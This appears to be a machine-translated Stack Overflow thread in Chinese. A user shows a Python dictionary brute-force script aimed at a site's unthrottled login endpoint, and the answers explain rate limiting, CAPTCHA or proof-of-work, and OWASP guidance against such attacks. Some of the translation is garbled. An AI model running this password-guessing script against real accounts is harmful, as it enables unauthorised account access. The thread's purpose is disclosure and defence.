2015-05-05 26 views
2

我正在做一個bot在一個開源項目網站的網站上簽名(不會提到任何名字),並且我注意到我的機器人沒有嘗試禁止最大登錄嘗試次數,無論我嘗試了多少次以不正確的憑據登錄。這個Python登錄幾乎不安全嗎?

def login(account,passwd): 
    r = requests.post("http://nottheprojectname.com/~~app/action.php", 
        data={'act': "login", 
          'name': account, 
          'pass': passwd, 
          'keyid': "" 
        }) 

return r.text 

我用的是像上面顯示登錄的一個Python腳本,我決定做一個測試腳本演示帳戶何以是野蠻強迫。

import re 
import requests  

def dictionary_crack(account): 
    attempts = 0 
    with open('giant_PW_list.txt', 'r') as f: 
     for passwd in f: 
      resp = login(account, passwd) 
      if re.findall("loggedin\"\:[a-z]+",resp) == [u'loggedin":true']: 
       return account + ": " + passwd 
      else: 
       attempts += 1 
       print trys 
     else: 
      input("All login attemts on "+account+" failed") 

我發現這個腳本到項目的管理員,他們駁回了它說這是行不通的,因爲登錄嘗試將放緩至預製棒。但是,我在我製作的測試帳戶上嘗試過這種方法,並且能夠在附近執行10,000次登錄嘗試,每分鐘執行一次,其中一個腳本正在運行。暴力攻擊的速度並不是很快,但它似乎並不顯得微不足道(特別是如果多個攻擊同時在同一個帳戶上同時使用順序字典進行)。

這一切都似乎荒謬,容易解決我。我沒有網絡安全方面的經驗,所以我認爲糾正對網絡安全領域知識更多的人比我更有衝突。

+0

使這種蠻力方法「太慢」的正確方法是將登錄嘗試限制爲每秒一次。如果該網站的管理員沒有收聽,我建議與該網站的用戶交談,因爲如果(當)該網站遭到黑客攻擊時,他們的帳戶將會被入侵。 – TigerhawkT3

+0

慢 - >太慢的瓶坯 - >執行它是一個比蠻力攻擊更多的字典... –

+0

@ TigerhawkT3謝謝。我不需要自己重建系統(儘管由於它是開源的,我可以幫助解決它),我希望能夠向站點管理員顯示外部引用,以便他們會傾聽我的意見。 –

回答

3

服務器應該跟蹤通過用戶名和密碼進行的錯誤登錄嘗試。您需要將其存儲在應用程序/全局狀態中,而不是會話。

甚至不打擾跟蹤IP地址,黑客只會使用匿名代理。

當U用戶名登錄嘗試失敗或P用戶口令不好時,服務器應該要求輸入正確的CAPTCHA值或工作證明和匕首。

如果用戶進行身份驗證,則返回一個HMAC'd "trusted user agent" Cookie,以便用戶將來可以跳過CAPTCHA或工作證明。

不要鎖定人們的賬戶,因爲你只是讓黑客拒絕他們。不要在服務器上睡覺(),因爲你將連接打開的時間超過了必要的時間,可能會導致你自己。

您可以使用modsecurity完成很多操作。

下面是OWASP指南:https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks

&匕首;讓網絡瀏覽器計算一個真正的大數字的主要因素

+0

謝謝。我真的希望能夠顯示網站管理員這篇文章給我的立場一些合法性。 –

+0

此信息是真正的信息+1 –

0

網站管理員是正確的,因爲當用戶有很好的隨機密碼時,在線暴力是不合理的。舉例來說,所有可能的密碼長度都是7個字符。讓我們假設每個密碼都是Alpha數字[a-zA-Z],0-9或者特殊字符@ @#$%^ & *()_ + - =這給了我們26(低)+26(高)+14 (特殊字符)=每個角色66種可能性。對於7個字符的密碼66^7大致等於5.4 * 10^12或5萬億個密碼。要以每分鐘1000個密碼單獨測試每個密碼需要大約10,378年的時間。

由於用戶具有良好的隨機密碼,這種情況確實造成了一個糟糕的假設。這已經被一次又一次地證明是不真實的,並且很可能使用隨時可用的密碼列表來猜測用戶密碼。這是當推薦的另一張海報阻止暴力強制的技術是有用的。